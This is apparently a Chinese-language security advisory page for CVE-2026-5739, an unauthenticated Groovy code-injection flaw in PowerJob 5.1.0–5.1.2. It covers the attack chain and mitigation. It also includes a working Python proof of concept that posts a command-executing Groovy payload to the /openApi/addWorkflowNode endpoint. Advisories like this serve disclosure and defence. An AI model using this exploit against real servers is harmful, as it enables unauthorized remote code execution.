IPBUF安全漏洞报告
English
CVE-2026-5739 CVSS 7.3 高危

CVE-2026-5739 PowerJob代码注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-5739
漏洞类型
代码注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PowerJob

相关标签

代码注入PowerJobRCE远程代码执行高危漏洞CVE-2026-5739

漏洞概述

PowerJob 5.1.0至5.1.2版本存在高危安全漏洞。该漏洞位于OpenAPI端点的`/openApi/addWorkflowNode`接口,由于`GroovyEvaluator.evaluate`函数对`nodeParams`参数处理不当,导致代码注入。攻击者无需认证即可远程利用该漏洞,通过发送恶意请求在服务器端执行任意代码,对系统机密性、完整性和可用性造成威胁。目前官方尚未发布修复补丁。

技术细节

该漏洞的核心在于PowerJob OpenAPI组件中不安全的动态代码执行机制。具体位于`/openApi/addWorkflowNode`接口,其处理逻辑调用了`GroovyEvaluator.evaluate`方法来解析用户传入的`nodeParams`参数。由于系统未对该参数进行严格的输入校验和清洗,攻击者可以传入任意Groovy脚本代码。结合CVSS向量(AV:N/PR:N/UI:N),该漏洞允许未经认证的远程攻击者,通过发送精心构造的HTTP POST请求,直接在服务器端执行注入的恶意代码。利用成功后,攻击者可获取系统权限,造成数据泄露、篡改或服务器宕机。

攻击链分析

STEP 1
侦察
攻击者扫描互联网或内网,寻找开放的PowerJob服务(默认端口7700),并识别出版本在5.1.0至5.1.2之间。
STEP 2
漏洞探测
攻击者向目标服务器发送探测请求,确认`/openApi/addWorkflowNode`接口是否开放且无需认证即可访问。
STEP 3
构造攻击载荷
攻击者编写恶意的Groovy脚本代码(如反弹Shell或系统命令执行),并将其封装在`nodeParams`参数中。
STEP 4
执行攻击
攻击者通过HTTP POST请求将包含恶意代码的JSON数据发送至OpenAPI接口。
STEP 5
获取权限
服务器端`GroovyEvaluator`解析并执行注入的代码,攻击者成功获取服务器执行权限,返回结果或建立后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Exploit Title: PowerJob 5.1.0 - 5.1.2 Remote Code Execution via OpenAPI # Vulnerable Endpoint: /openApi/addWorkflowNode # Description: Injecting malicious Groovy code into nodeParams parameter target_url = "http://target-host:7700/openApi/addWorkflowNode" # Malicious payload to execute 'whoami' command (Groovy syntax) # The attacker crafts the nodeParams to include a Groovy closure or script execution malicious_payload = { "appId": 1, "workflowId": 1, "nodeName": "ExploitNode", "nodeParams": "def cmd = 'whoami'.execute(); cmd.text" # Code Injection Point } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-5739-Scanner)" } try: print("[+] Sending exploit payload to %s..." % target_url) response = requests.post(target_url, data=json.dumps(malicious_payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for command output.") print("Response Body:") print(response.text) else: print("[-] Request failed with status code: %d" % response.status_code) except Exception as e: print("[-] An error occurred: %s" % str(e))

影响范围

PowerJob 5.1.0
PowerJob 5.1.1
PowerJob 5.1.2

防御指南

临时缓解措施
由于官方尚未响应修复,建议立即在网关层(如Nginx或Iptables)阻断外部对`/openApi`路径的访问,或者临时禁用OpenAPI模块的功能,直至修复版本发布。同时检查系统中是否存在可疑的进程或文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表